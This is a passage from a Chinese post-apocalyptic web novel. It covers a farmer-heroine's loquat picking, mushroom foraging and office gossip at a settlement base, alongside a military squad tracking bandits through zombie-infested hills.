“那个……枇杷能不能分我点,我回去转你积分。”
“不用,交个朋友,你帮忙摘就行,反正我带去阳县也是要分给叶枝蔚他们吃的。”
张克就过来帮忙了,他可以帮忙摘低矮的果子,时枌已经爬到墙上坐着摘了,真不知道她拄着拐怎么爬上去的。
张克心理建设半天,主动解释:“我的妻子,她特别喜欢吃枇杷,所以我想带一点给她吃。”
“可以啊,这里只有一棵,那边比较多,你要是嫌不够还能去那边摘,正好都熟了,我们不吃就只能便宜那群鸟。”
张克看她这么大方,抿抿嘴,不太自然地再次开口:“我残疾之后,确实……影响了我的脾气。”
“那你对你妻子也这样啊?”时枌嫌弃地看着他。
张克又怒了,“放屁!我怎么可能对我老婆那样!”
“一会儿妻子一会儿老婆,不懂你到底几个媳妇。”
“正式跟人介绍用妻子,老子私底下都叫老婆,怎么了!你有意见?!”张克控制好自己的语气,“你跟老赵平时没这样吗?”
时枌不理解,“什么样?”
“对特殊的人有特殊的称呼,这很正常。”
“……特殊?赵弋两个字能怎么特殊?赵赵?弋弋?”
后面那个弋弋一出来,时枌跟张克同时露出被恶心到的表情,一阵恶寒地抖了抖身上的鸡皮疙瘩。
第85章 第85章“你跟赵队住一起啦?”……
枇杷太多,罗辉一家正好也在,时枌让他们随便摘,顺便让张克帮忙给他们家讲讲阳县的政策。
张克待办公室也有大半年了,这点业务技能还是很熟悉的。
“因为你们农场位置关系,离阳县比较远,来往不太方便,其实并不能算作常住居民,不享受阳县内的资源,也就不需要交每月积分,哦对,现在暂时阳县也不需要交这个,但是作为整个系统的一份子,你们相应地也需要做出一些贡献。”
时枌听出来了,阳县不收每月积分只是暂时的,之后很可能还是会收,估计是因为这段时间还在做基础建设吧,大家都在干活,收积分也不太礼貌嘛。
“时枌是正式的小队成员,有工资,所以她比较有保障,但是你们家这个情况,一家四口,也需要一个基础的收入来源。”说到这,张克看向那边正在摘菜的食堂员工,又看看罗辉。
罗辉就明白了,点点头。
张克继续道,“同时,或许以后我们还会有其他的规划,毕竟你俩的农场占地面积大,目标明显,如果没有安保措施的话很容易招来一些不必要的麻烦,再就是,还是那个原因,地理位置,往后或许这里可以作为一个探险小队出任务的中转站,你们帮忙照顾伤员或者提供补给,也会有相应的报酬,不过这都是后话。”
余袅听着,大概明白了,“那积分就是钱,我们可以去阳县用积分换其他东西吗?”
“这当然是没问题的,不过得你们自己过来,阳县可用的车辆比较少,非公职人员都没有车。”
“这个我们明白。”罗辉说。
他有马,来去还是很方便的。
那边王朝义看他们聊的差不多了,自己这边也指导完,就过来跟罗辉商量买牛羊的事。
罗辉有些不放心,把时枌也叫上。
“你去吧,我来摘,我认得哪些熟了。”余袅说。
时枌让她帮忙把拐递过来,支在地面,轻巧从墙上跳了下来,完美的单脚落地,然后就跟王朝义和罗辉商量事情去了。
在农场一忙就是大半天。
时枌前院的那些辣椒基本被摘干净了,一筐一筐地装车,菜园也是有点乱,毕竟人多,多多少少会有失手的情况,时枌也不是很介意,因为这一批菜经过夏天就差不多结束,得拔了重新播种秋冬的菜,再说她这段时间也在阳县,地里的菜摘了也就摘了,保留了一块地给罗辉家,剩下还没成熟的等她从阳县回来还能赶上一波收获。
罗辉那边事情也谈拢,积分会在张克录入系统开户之后再转给他,到时候就能去阳县买其他的物资了。
时枌收获一车枇杷,借用食堂的框子装了足足四框,这只是她要带走的,罗辉家摘的时枌直接给他们家吃了,张克也有自己的一袋放在后座。
开车回阳县已经是晚饭时间,时枌错过了午饭,晚饭吃的格外多,赵弋发消息问她吃饭了没,她拍照发给他看自己的两菜一汤。
赵弋回:饿了。
时枌顺便询问他任务进行的怎么样。
赵弋:还算顺利。
时枌就放心了。
她把自己的一份枇杷留下,剩下的分给了叶枝蔚他们,这次赵弋出任务带走了秦丰骨头跟周霓,张照照和叶枝蔚都留在基地,这会儿叶枝蔚跟张照照就帮她把枇杷搬上楼去。
张照照还是第一次来赵队家,在门口鬼鬼祟祟的,还是时枌叫他才进来。
叶枝蔚就正常多了。
“你冰箱里这么多东西,我帮你整理一下,不然枇杷放不下。”叶枝蔚在冰箱前把东西都拿出来重新弄,一边对张照照说:“你洗点枇杷。”
“噢!”终于有事干的张照照解放般进了厨房。
时枌在家就懒得用拐杖,拐杖扔到一边,蹦哒着给他们倒水喝。
她不能端着杯子蹦过去,就放到餐桌上让他们自己拿着喝。
洗完枇杷的张照照端着盘子又鬼鬼祟祟过来,一脸八卦问时枌:“你跟赵队住一起啦?”
时枌大大方方:“不是啊,他住办公室,不过昨天要回来休整就在沙发上睡了一晚上。”
张照照听完,“赵队……挺辛苦啊。”
时枌:“啊,确实,他挺辛苦的。”
每天把她搬上搬下的,得推轮椅得给她找乐子还得兼职出危险的任务。
想到这,时枌忽然想问问他什么时候回来,但看了看手表,这才是人家走的第一天她就问什么时候回来,感觉怪怪的,有点催促他的意思,不太好。
时枌按捺住自己往外冒得心思,“坐呗。”
张照照有点拘谨地坐在他赵队睡过的沙
发上。
“吃枇杷。”
张照照就吃枇杷。
果然。
无论如何都是在赵队家,整个家里都充斥着赵队那威严的气质,张照照根本不敢放肆,完全没有在时枌家的自在。
所以等叶枝蔚收拾完冰箱,张照照就迫不及待拉着她一起走了。
时枌一个人在家,去房间吹了会儿电扇,拿了本书躺床上看了起来。
***
出任务最痛苦的,就是大夏天处理尸体。
他们小队一共五个人,除了赵弋秦丰周霓骨头还有一个算是新人的兵,负责勘查,此次任务危险,但是又不是那种危险到有去无回的任务,赵弋有心锻炼阳县这群新兵,所以这次挑了个看着顺眼的出来涨涨经验。
“小李,去把那尸体挪远点,别污染水源,记得脑袋补一枪。”秦丰喘着气,满头大汗地把手里软趴趴的尸体丢到灌木丛里。
“好的秦副队!”
小李是个老实孩子,让干啥就干啥,没有半句怨言。
他们小队从阳县东边出发,一路追踪昨晚上报的疑似野狼队伍,但经过一整天的追踪也没发现野狼踪迹,反而遇到一群源城难民。
流落在外的源城难民大多都不是良民,要么在源城有犯罪记录,要么就是自己不愿意去兰城保护区寻求庇护,想在外自力更生,他们自力更生的方式当然不是种地,而是抢别人的资源。
他们这群人在阳县周围呆了几天,正计划着抢劫阳县军事基地,结果被赵弋带人提前端了窝点,因为发生冲突的地点靠近水库,为了避免污染水源,他们得把这几具尸体挪远点。
“真不知道这群人脑子怎么想的,几个人几把枪就敢抢我们基地?”
周霓被这几人的血腥味熏得头晕脑胀,今天还是一路穷追猛打,天气又热,给她人都晒黑了。
在阳县过了几天安逸日子的周霓开始嫌弃出任务太辛苦。
骨头作战服裹的严严实实,站在原地靠着树喘气,身上挎着好些从这些源城难民收缴来的枪,给自己挂成了个衣架。他扭头看他赵队,同样裹的严严实实跟个良家妇男一样,战术背心看着就重的要死,而那边的秦丰就不一样了,作战服拉扯开露出里面的黑色背心,裸露的皮肤全是汗,整个人看起来像只刚从火锅里出来的牛蛙。
真不知道叶枝蔚看中他什么,骨头心想,怎么偏偏队里就他一个人常年单身呢?
骨头摸摸自己沧桑的脸蛋,刚想起个话头,忽然周围传来一阵令人头皮发麻的窸窣动静。
草!
他们这一群人全在这,这之前明明已经查看过周围情况了,为什么会突然出现动静?难道是被包围了?
有经验的几人第一反应就是找掩体,秦丰一把用手边的尸体盖住自己的重要部位,同时一脚把另一具踹给了小李,小李慌慌张张把自己脑袋挡住,心脏却暴露在外,秦丰骂骂咧咧,咬咬牙,挪了过去,给他盖好。
“臭小子不要命了?!”
一片寂静中,有轻微的子弹上膛声。
没多久,从扔尸体的灌木丛中又传来动静,这一次还有黏腻的、撕咬咀嚼的声音。
赵弋先走了出来,用手里的冲锋枪拨开树叶。
一个几乎只剩皮包骨衣服破烂的丧尸正在啃食尸体的内脏,尸体肚子已经被它剖开了。
其他人也慢慢走了出来。
秦丰后背出了一身冷汗,这会儿也不嫌热了,老老实实把作战服穿好,看着面前的画面恶心的反胃,——他果然是太久没出任务了。
骨头疑惑:“我们之前把阳县周边的丧尸都清理了一遍,按道理说这地方不该还有丧尸啊。”
丧尸正在进食,而他们这几人身上没有血腥味,丧尸并没有朝他们扑过来。
赵弋上前,仔细看了看,“脖子上有铁链,可能是豢养的丧尸。”
他们所熟悉的,习惯利用丧尸来抢掠资源或是隐藏自身的,也就Gypsy那群人了。
他们会在自身领地周围分散一批丧尸用作警戒,越是强大的队伍,豢养的丧尸就越多。
反正丧尸这种东西,饿十天半个月也不会死,反而会激发它们对食物的渴望,遇到新鲜血肉的时候杀伤性更强。
他们比较幸运,因为被抛尸的那位脑袋开了瓢,血腥气足,所以首先吸引了这个丧尸,才不至于在刚刚他们一群人放松警惕的时候冲过来。
“看来离他们很近了。”秦丰朝后看了看,这地方视野开阔,能看见底下的阳县。
“他们选这个地方做营地……果然是在觊觎阳县。”周霓也反应过来了。
估计是他们驻扎的消息传了出去,既然有人类聚集,那么就意味着这地方有资源,这群野狗们就会想来扑食。
小李不太明白,但看他们一个个面色凝重,也害怕起来,小心提问:“那这个丧尸……要处理吗?”
秦丰看了眼赵弋,眼神询问。
赵弋收好枪,“不处理,把其他尸体也搬过来给它。”
“从现在开始注意隐蔽,”赵弋说,“下山,找几个丧尸。”
周霓一听隐蔽两个字就想吐。
她好久没干这种剖丧尸肚子往自己身上抹的事了。
第86章 第86章阿姨真好,人美心善。……
连着五天喝骨头汤,时枌终于给自己喝腻了。
第六天再去食堂,直接点名要吃牛肉面,麻辣的,坚决不要骨头汤。
食堂阿姨面露难色:“可是老王说了,你要补身体,赵指挥给你点了一天一碗骨头汤。”
时枌:“赵弋现在不在,不用听他的,给我上牛肉面,加麻加辣,谢谢!”
阿姨也就随她了。
只是多给了她两片牛肉。
时枌美滋滋,跟着帮她端面的阿姨找位置坐下来,一边嘴甜地说:“阿姨真好,人美心善,眼睛特别漂亮,又大又亮,我的眼睛就小小的。”
给阿姨哄的喜笑颜开,“你等着,我给你加香菜!”
时枌连忙摆手,“我不要香菜,小葱就够了!”
“行吧。”阿姨继续忙活去了。
时枌在基地待了这些天,跟食堂的打饭阿姨和基地的士兵,——尤其是跟着她开地种菜的那群士兵,关系都处的不错,认识了不少新朋友。
前些天去财务科结食堂的卖菜钱还认识了张克的老婆,是个非常温柔的大姐姐,大姐姐还主动替张克那张臭嘴给她道歉呢,那时时枌也笑嘻嘻回了句:放心,我也骂他了,我俩扯平了。大姐姐笑的更温柔了。
现在停车场旁边的空地已经开了出来,承包给老刘带的三排,但是除了一开始的开地工作,后续菜园打理其实并不复杂,一个排三十几号人管一小块地有点浪费,于是他们又把周围开了两块地出来,大家分一分,三个班一个班一块地竖起牌子,种的东西也不相同,到时候再互相分享一起吃。
菜地已经播种,最近也就是需要浇浇水,没其他工作,时枌也就清闲了下来。
之前赵弋带她去的那片荷叶田已经被食堂派人去摘回来了,因为是地里长的,食堂也不能就这么自己占了再拿出来卖,就自己加工成了小菜,给员工分一分,再放食堂窗口别人来买饭的时候做赠品赠送。
时枌吃腻了,今天就没拿。
饱饱一碗牛肉面下肚,时枌擦擦嘴,先转个圈背对餐桌,再拿起一个拐杖撑着,把碗筷送到回收的地方,再转回来拿另一个拐杖,撑着离开。
没地可种,她就只能去找朋友们玩。
昨晚约好了要去白芳那边,时枌对基地已经很熟悉了,慢慢悠悠往医务室蹦,中途碰到几个一起种过地的士兵,笑着打完招呼聊两句再继续走。
时枌是第一次住在这种很多很多人的“大城市”,她也没想到自己人缘这么好,才来不到一个礼拜,就靠着莲子枇杷以及晚上基地操场的闲聊交了这么多朋友。
但她渐渐也发现了区别,这
些朋友对她来说意义跟叶枝蔚白芳他们是不一样的,只是浅浅的,算是认识的朋友,勉强记得住人家的名字,至于其他的信息,她都不知道。
“时枌你来啦。”
刚到门口白芳就看见了她,迎上前来扶。
时枌摇摇头,拄着拐杖轻轻松松蹦了进去,白芳就给她拖了把椅子过来让她坐下。
“糯糯去帮忙整理药材了,一会儿就会过来。”白芳说。
医务室里总共就三个正经医生,一个老中医,两个中年西医,因为这边空房间多就分了两个办公室,就挨着,离得不远,最近两边都在忙着收拾东西,中医这边老医生正靠在藤椅上休息,看见时枌抬了抬眼皮算是打了招呼,问她:“最近脚恢复的怎么样?”
时枌坐下后回:“好像彻底消肿了,最近有点麻麻的,还有点痒。”
时枌都怀疑自己是不是骨头汤喝多了,补过了头。
“哦,正常的,说明快长好了,你这样恢复速度比较快,再过七八天可以去兰城拍个片子看看情况,说不定石膏就可以拆了。”
时枌点点头。
不知道为什么,明明是夏天,她总觉得中医医务室这边格外清凉,还有淡淡的药材香味,一扭头就能发现满墙的中药柜,一个一个深红色的小格子贴着标签,规规整整的,看着很舒服。
白芳去一边整理东西了。
时枌开始好奇,问老中医:“您这边柜子里真的有药材嘛?”
老中医头发花白,眉毛也是白的,有几根眉毛还格外长一些,她听爷爷说这是长寿眉,但是爷爷也有这样的眉毛,寿命却并不算长,时枌也就不再信了。老中医穿着黑色的褂子,戴着小眼镜,脸上也有了老年斑,身材略显臃肿,看起来年纪真的很大了,时枌上次来这里的时候老中医也是这样一副懒洋洋的样子,似乎他这边从来就没有病人来光顾。
“这么多柜子,怎么可能都装得满?”老中医挑挑眉毛,“兰城那边本来就没多少资源,山也挖空了,又不能随便出去,哪有什么药材。”
他朝中药柜抬抬下巴,“这些玩意一大半都是空的,我也只能给人家扎扎针把把脉,药这种东西,不一定凑得齐哟。”
难怪他这边这么清闲。
时枌记得以前他们村里也有一个老医生,平时没事就会上山采药。
“那现在到阳县了,您怎么不想办法去山上采药呢?”
老中医一脸稀奇,“你看看我这把老骨头,还能上山啊?”
时枌却摇摇头,“阳县已经十几年没有大量人口居住了,周围植物疯长,药材估计也不会少,周围虽然都是山,但是都不陡峭,还是比较好爬的,我爷爷也经常自己上山,当然,他年纪看着要比您小一些。”
老中医笑笑,“你个小姑娘懂什么?光采药就够啦?还有后面的炮制乱七八糟的,不同药材处理方式也不一样,我一个人……”
刚想说自己一个人弄不来这些,老中医就看见旁边忙碌的白芳,恍惚了一下。
“哦……你是这个意思。”
时枌:“啊?我什么意思?我只是想劝您多出去走走,捡捡药材。”
老中医一脸“我还不明白你的小心思”。
“我知道,你是担心白芳和糯糯在我这这么清闲学不到什么东西。”
时枌:“……她们清闲难道不是好事吗,那么累做什么?”
听她语气,老中医才知道自己是想多了,原来时枌不是在暗示他多教一教白芳糯糯。
“行吧,之前在兰城,那是我没地方施展,好不容易被发配到阳县,这么好的地方,山清水秀的,我虽然一把年纪了,但也不能这么坐着等死,好歹给阳县建设做点贡献嘛……”老头自己念叨起来,“正好,你腿脚不好,我腿脚也不好,你陪我山脚下走走?”
“这边离山脚很远,要坐车的。”
“我知道,所以我才叫上你嘛。”
时枌:“……”
原来是想让她去申请车。
“那把糯糯也带上吧,白芳留下来。”
这次只是去山脚,不上山的话应该不会很危险,带上糯糯出门玩玩。
走之前时枌朝白芳挤挤眼睛:“下次带你哦~”
白芳笑着说没事,“我一会儿还有人来刮痧。”
老中医陪着她去办公楼,他们一会儿再接糯糯,一楼主要是申请设备的,时枌上次跟张克来过,这会儿正好碰到张克下来,看见她就过来打了声招呼。
“来干嘛呢?”张克问她。
因为一袋枇杷,两人也算是关系缓和了。
时枌正在填申请车辆的表格,“借车,去山脚下挖药材。”
窗口工作人员一听见这个理由,惊讶扭头过来,“要不你还是别填了,这理由审批过不了,最近矿山那边车来车往,耗油大,这边的油都分配到矿山了,就算我肯给你车,也没油啊。”
“啊,那怎么办。”时枌看看旁边的老头。
“要不你们挑个近点的地方走过去挖?”工作人员说。
张克也知道最近的情况,赵弋带队出任务去了,秦丰也带走了,办公楼这边群龙无首,都是他帮着跟兰城那边交接,但是吧,不是赵弋本人,兰城那边就没那么好说话,好多物资都是一拖再拖,弄得他也很烦躁,各种审批也是迟迟不下来,看来这破草台班子比他想象中要更破一点。
老中医耸耸肩,“行吧,咱们周围看看。”
毕竟挖药材这事比不上他们矿山开工,他也能理解。
车申请不下来,时枌也没办法,只能跟老中医计划着去别的地方,只是如果往东边走,去林子里的话有一定危险。
时枌扭头,“那我能拿我的枪吗?我们两人出去,不一定在巡查范围内,我是小队成员,就当我是出个任务?”
工作人员:“你的枪?是赵指挥存在这里的?”
时枌点点头。
工作人员扭头问了下同事,又在电脑上敲敲打打。
时枌提醒:“是一把霰/弹枪,伯/莱塔s686,银鸽。”
“行,你拿着这个去仓库领就行。”工作人员交给她一张纸条。
张克看他俩一个脚受伤一个七老八十的,有点不放心,“要不你去基地问问,再找个人跟你们一起?”
时枌心想也是,“我问问叶枝蔚。”
先去仓库领了枪跟子弹,再去找糯糯,时枌叫上叶枝蔚一起,三人往基地外走。
他们这个基地西面是平地跟一片树林,北面是一座大山,只是看起来光秃秃的,全是红土,巡查人员集中在居民区,这种树林就没人巡查了,不过这片地方他们之前也是清理过的,叶枝蔚很熟悉,并不是很危险。
为了安全考虑,他们只是在外围,能看见基地的地方转一转。
高大的树木遮挡下几乎没有一丝阳光泄漏,地面满是枯枝碎叶,因为争夺不到阳光,低矮的地方只有一些耐荫的植物生长,潮湿的地方还有一些青苔。
时枌是不认识药材的,老头一钻进林子里就走走停停,当然,大部分时间都在停,这里挖挖,那里抠抠,灵活的完全不像医务室里那个躺在椅子上的老中医。
叶枝蔚放风,时枌就在树荫下找,这个季节还是有不少蘑菇的,她也好久没喝蘑菇汤了,有点馋。
“诶,时枌你来看,这个就是三七……”老中医一扭头,看见时枌在那采蘑菇,鼻孔出气哼了一声,一看还有个糯糯,看样子也要跟着时枌去采蘑菇,一把把糯糯拉了过来开始上课,“这个是三七……”
时枌发现了不少可以吃的蘑菇,这地方她以前没来过,没想到有这么多,给她高兴坏了,把叶枝蔚也拉过来一起摘。
“这个小小的矮矮的是松菌,回去炒炒就能吃,特别香,我觉得比肉好吃。”时枌说,“要摘小的哦,老了味道没那么好……诶,这边红土这么多,下次有机会我们去基地后边看看有没有鸡枞菌,那个更好吃!”
时枌说的口水都要流出来了。
老中医:“……你到底是来挖药材还是挖蘑菇的?”
“你挖你的,我挖我的呗。”
第87章 第87章赵弋到底什么时候回来。……
四人只是在森林外围挖,而且这地方常年没人来挖,东西多得很,光这一小块地方就给他们忙了大半天,还好树荫下不晒,不然这群老弱病残都得中暑。
时枌收获一大袋蘑菇,心里念着这些松菌回去炒辣椒,另外那些炖汤喝,她让罗辉下次来阳县给她从家里鸡栏抓只鸡来。
老中医笑呵呵翻看袋子里的药材,一边跟糯糯介绍这个要怎么处理,那个有什么药效。
大家都很满意这次出行。
回到基地后,时枌找厨房老王帮忙处理松菌,她自己清洗,借点辣椒炒一炒就行,再点两个菜跟叶枝蔚一起吃饭。
菜端上来的时候,叶枝蔚看着眼前两个辣菜,疑惑问她:“你的脚没事吗?能吃辣吗?”
时枌摆摆手,“没事啦,能吃,我恢复的差不多了。”
“……赵队知道吗?”
“他忙得很呢。”
哦,所以是不知道,天高皇帝远了现在。
“你还是多注意吧,反正也就剩下一点时间了,恢复好你想怎么吃都可以。”
时枌一边点头一边狂
炫炒蘑菇。
吃完饭天色不早,找鸡枞菌这事时枌就推到了第二天,然后给罗辉发了条消息让他帮忙挑只老母鸡过来她想喝鸡汤了。
也不知道罗辉能不能收到,她农场那边的信号总是忽强忽弱的,时枌也就没抱多大希望,这段时间在基地还是跟之前一样,楼下楼下跑,早起下楼吃完饭就给自己找活干,晚上跟基地训练的士兵闲聊听听八卦,偶尔会找空闲的叶枝蔚玩,生活十分充实。
最近居民区有人鼓捣出了冰棒,被她知道了,每天都会去买几根,叼着回基地,顺便去办公楼乘凉,找张克老婆玩。
宋阡在财务科工作,相对清闲,办公室里就两个人,除了宋阡就是一个中年阿姨,每次时枌来都会给办公室带好吃的,财务科的人也很喜欢时枌。
时枌喜欢来财务科也有个原因,就是他们在一楼,很方便,不需要爬楼。
今天时枌带了冰棒,给财务科两位一人一根。
宋阡:“每次来都买东西,以后别买了,我们都不好意思了。”
宋阡是鹅蛋脸,大眼睛,平时工作扎着低马尾,穿着办公楼里的制服,看着格外有气质,因为同样的黑色制服,给张克来穿他就是撸起袖子领口歪斜奇奇怪怪,一股流氓气,但是宋阡就不一样,她头发丝儿都是整齐的,笑起来眼睛弯弯,让人觉得亲近。
“还好啦,也没花多少积分,”时枌坐在空办公桌旁边,一手支着脑袋玩蜘蛛纸牌,“要是还在我的农场,这个季节吃的可多了,我天天送你们也没关系,哦对,上次回去看见无花果都挂烂了,没人摘,真可惜。”
时枌喜欢来这的另一个原因就是可以玩游戏。
办公楼里人少设备多,可以空出来一台电脑给她玩。
身为一个末世前才六岁住农村没机会接触电脑、末世后十五年没条件碰电脑的二十一岁小女孩,蜘蛛纸牌的魅力实在是太大了,她根本抵抗不了。
时枌叼着的冰棒很快就吃完,只剩下一个木头签子咬在嘴里,一边狂点鼠标,进行最后的冲刺。
终于,整个屏幕开始炸烟花,整理好的纸牌哗啦啦往下倒,没一会儿满眼都是纸牌。
“呜呼~”时枌整个身体往后仰,靠在椅子上,一脸轻松。
宋阡正在给人打电话,满面愁容,刚挂断旁边的于姐就扭头过来问:“怎么样了?审批还没通过啊?”
宋阡摇摇头。
他们财务科虽然人少,但是负责的东西却很多,除了整个阳县两千多号人的工资发放交易公证外,还要整理每周的资源申请以及积分申请,送到兰城审批,通过后兰城就会送资源过来,积分也会得到补充。
交易公证这事赵队走之前就确定了,以后阳县单独给商户做审批发放积分交易凭证,直接省去每次交易都要到基地公证这个程序,虽然目前阳县内商户较少,交易也少,但省去这道程序给他们将来省了不少事。
阳县内部的问题还比较简单,阳县之外的就不是了。
现在各种审批迟迟不通过,上周一,也就是原定运送资源到达的日子也没有到,积分更是毫无动静。
“现在咱们账上的积分还不够发这周工资的,这怎么办?”于姐也很苦恼。
巧妇难为无米之炊,她手上都没有积分也没有营养液,怎么让人家干活呢?
时枌在财务科也待了一段时间了,偶尔听她们闲聊也大概知道财务科的现状,闻言抬头,“兰城还没给钱啊?”
“是啊,不给钱就不能发工资,不发工资我们怎么挖矿?发电厂还等着呢。”宋阡轻叹口气。
“挖的煤跟铁是给阳县的么?”时枌又问。
于姐:“也不是,大部分送去兰城,日后火车通了就用火车运,效率会更快,到时候挖矿需要的人也会更多,现在兰城那边说火车出了点问题在抓紧时间重新规划,没钱给我们。”
“他们不给钱,但是你们还得给他们运资源过去?”时枌的语气充满惊讶。
宋阡笑了,“现实情况确实如此。”
“那很简单,别干了呗,让挖矿的工人下来回家种地或者干点别的活,留一部分维持阳县发电厂运转就行了。”
于姐跟宋阡都愣住了。
年纪稍长的于姐摸摸下巴,细细思索后嘀咕:“也不是不行……”
宋阡:“赵队不在,副指挥……不会同意的。”
一说起那个副指挥于姐就翻了个白眼,“怎么不让他去出任务,偏偏调赵队,真是造孽。”
时枌也知道这位副指挥,是阳县的二把手,赵弋不在最近都是他在负责阳县的事,但是吧,这个二把手明显不是他们这一边的,据说是兰城那边专门安排的人,原本是做正指挥的,结果被赵弋这个天降抢了位置,本来就心里不得劲,隔三差五跟赵弋唱反调,现在有了兰城的支持,更是猖狂。
“要我说,钱一天不到账,矿山就停工一天,咱们先维持自己的生存,至于兰城,它不管我们,我们就不管它,这很正常。”
“如果说矿山对兰城很重要,那么他们自然会抓紧时间想办法打钱过来,如果不重要,那阳县也没有存在的必要,兰城不会一直扶持这个拖油瓶,我们更需要利用自己已有的资源找新的出路。”
时枌已经开了第二局,一边敲着鼠标一边说。
于姐也笑了,“我还以为你年纪小,不太懂这些弯弯绕绕,没想到想的还挺清楚。”
于姐叹了口气,“谁说不是呢,看看我们这些被迁移过来的公职人员还有士兵,要么都是兰城那边的边缘人物,要么就是被迫拖家带口过来,极少数才是宋阡这种两口子都乐意过来的,大部分人心里也清楚,阳县是个养老的地方,没什么未来,我们都是被抛弃被舍弃的。”
“别的不说,如果在兰城,那些源城的难民绝不可能跟我们住一样的地方,这些外来人指不定以前做过什么,有没有犯罪记录还不知道,就跟我们良民百姓混在一起,万一出什么事怎么办?”
“赵队又不在,之前他顶着压力处理了两个,我们这群人才安心不少,但是他走了,没人愿意做这种被难民戳脊梁骨的事,最近居民区还出了几件偷盗案件,巡查的人去也查不出来什么,弄的我连续几天都睡在办公楼,跟你们住一起才放心。”
时枌停下手,“于姐自己一个人住吗?”
“是啊,”于姐苦笑,“我也不瞒你们,我在兰城之前也是财务部的,官职还挺高,但是前段时间兰城推出新政策,鼓励公职人员结婚生子,增加人口,我四十五岁了,未婚未育,不配合政策,就被发配到这来了。”
时枌惊讶睁大眼睛,“他们逼你生孩子!”
宋阡
解释:“因为那段时间实验室出了新的结果,目前新生婴儿感染病毒概率极低,所以兰城政府才会鼓励生育,但是我也不支持这种强硬的政策。”
毕竟以于姐的能力,不应该沦落至此。
她们两人的财务科,宋阡之前只是个小科员,很多事情都不懂,都是于姐教她的,于姐基本什么都会,也承担了大部分财务科的工作。
信息量挺大,时枌听的脑瓜嗡嗡的,“哦,那阳县也会这样吗?”
于姐失笑,“那得看赵队的意思了。”
时枌认真想了想,“赵弋应该不是那种人。”
这种孩子气的话让于姐笑的更开心了。
“聊什么呢?”
张克突然推门进来,一眼就看见自家老婆对着时枌笑,旁边号称财务科冷面杀手的于姐也对着时枌笑,给他整迷惘了。
时枌到底有什么魅力?走哪都有人喜欢?
还有,她怎么又来找自己老婆?
张克看看自己手里的冰棒,又看看老婆手里的木签子,狠狠自闭了。
还跟他抢献殷勤的机会!
到底是谁老婆啊!
“咳咳,宋阡,到午饭时间了,一起吃饭?”张克把手里的冰棒往后藏了藏。
宋阡一看时间确实是到点了,她看见了他手里的冰棒,起身从他身后把冰棒拿了过来,交给电脑后的时枌,“你请我吃了好几次,正好这个给你,你年纪小,吃两根没问题,我牙齿不好,帮帮忙。”
时枌笑着接过了。
宋阡又问她:“你不吃饭么?”
时枌摇摇头,“还不饿,我下午让人送鸡过来,到时候去食堂煲鸡汤,于姐也要留着肚子哦,我们一起喝。”
而且她这一局还没打完呢。
于姐:“行~我也要去吃饭了。”
张克听完沉默了。
时枌能给他老婆带枇杷煲鸡汤,他能干啥?买个冰棒还跟人重复了。
真操蛋啊,赵弋到底什么时候回来,赶紧把时枌送走吧。
***
在林子里跑了三天,跟野狼队伍交火两次,然后你追我赶穿过铁轨到达另一座山,彻底失去了野狼的踪迹。
这已经是他们追踪的第七天了。
满打满算,这个任务已经出到第十天了。
中途野狼没看到,倒是碰到了几个在外独自生存的小队伍,他们没有恶意,还提供了野狼的线索,赵弋询问他们愿不愿意去阳县安定下来,他们说会考虑考虑,双方就约定如果他们愿意去阳县,就在铁轨附近等待他们收工,再顺路把他们带去阳县。
周霓已经被自己身上的丧尸残躯腌入味了,彻底没了之前随时想吐的毛病,顶着一头油得可以炒菜的头发健步如飞,翻山越岭踩着黄土回归队伍汇报情况。
“我跟小李在周围看了一圈,没有人驻扎的痕迹,但是这底下好像有个村庄,有人。”周霓喘着气,伸手一指山下。
他们在一处悬崖上,看似悬崖,实际有人工开采的痕迹,估计末世前这里住了不少人,挖了半座山才有了这个悬崖,站在上边能俯瞰底下所有。
一片村庄,集中在一起的只有四五户,用望远镜能看得更仔细些,能发现集中的那四五户房屋比较完整,而那边偏一点的房子已经是破破烂烂屋顶漏个大洞都是正常的,而且那四五户周围围了木栏杆,里面还开了菜地种了菜,此时太阳西斜,一户人家烟囱升起了烟。
秦丰也看见了,“会种地,说明人不算坏,但这片地方就他们这几户人,很可能手里有枪,要不我下去问问?”
赵弋放下望远镜,“野狼队伍还剩下多少人?”
“大概七八人吧,之前我们解决了几乎一半的人。”骨头擦着汗,被太阳晒的眼睛都睁不开。
“他们有多久没正常进食了?”赵弋又问。
“没有十天也有七八天吧,我们自从追上他们就没让他们安稳吃过饭,上次不是还抢了人家的半只鹿么?”秦丰说。
他们追到的时候野狼那群人正好在吃饭,留下半只鹿就跑了,估计都没吃多少,正好给他们捡了便宜。
现在野狼就是强弩之末,之前赵弋按照丧尸布置找到他们老巢,他们就被迫迁走,试图脱离他们的追踪,要不是这片地方他们不熟悉不敢乱跑,不然早就逮住野狼那几个人了。
“我们优势还是很大的,中途去罗辉那边补了子弹,还有营养液喝,他们队伍很久没吃饱饭,而且子弹跟枪也不多,还被我们收缴了一部分。”
赵弋:“所以他们现在缺枪,缺食物。”
他看向山下那几户。
秦丰也看过去。
“你的意思是,他们如果也看见了这几户人,大概率会留下来?补充资源?”周霓反应过来。
“行吧,拿他们钓钓鱼,希望能一次搞完,我人都快馊了。”秦丰揪起自己的衣领闻了闻,“我咋什么都没闻出来,是不是我鼻子出毛病了,骨头你试试?”
骨头凑过去闻了一下,给他熏得两眼一闭差点因过去。
秦丰嘿嘿笑。
周霓翻了个白眼。
“那、那我们现在要干什么?”一头雾水的小李抱着枪傻乎乎地看着他们。
秦丰:“我们撤远点,洗洗澡收拾收拾,好好吃一顿,就……等着呗。”
这一等,又是三天。
他们一边盯着底下的几户人,一边在水流附近清理,顺便逮了几只兔子生火烤了,刷上秦丰从时枌那里弄来的人烧烤料,饱餐一顿。
周霓吃着都想哭,“我好想枌枌啊。”
该死的野狼就不能自己送上门吗,还得她亲自追,给她胸都跑瘦了。
周霓掏出手表看群消息,从上到下刷时枌最近发的照片。
有回农场摘枇杷的,有在基地剥莲子吃的,有带着叶枝蔚挖蘑菇的……
该死的,她一眼就瞧出那是松菌!这种橙黄橙黄手指头长度硬币大小的最好吃了!她多少年没吃过松菌了!枌枌竟然跟叶枝蔚吃了一大盘!
甚至还有鸡枞菌!
啊啊啊啊啊啊啊啊啊啊!为什么出任务前她没来大姨妈!她要是跟叶枝蔚一样来大姨妈的话就不用辛辛苦苦出来追什么野狼了!
她好不容易长长的一头卷发,都他妈快毡化了啊!
周霓抱着手表哭的很惨。
秦丰看不下去,给她分了条兔腿,“哎呀,忍忍就过去了,野狼这群人就这一哆嗦,放心,回去赵队会让你休假的……”
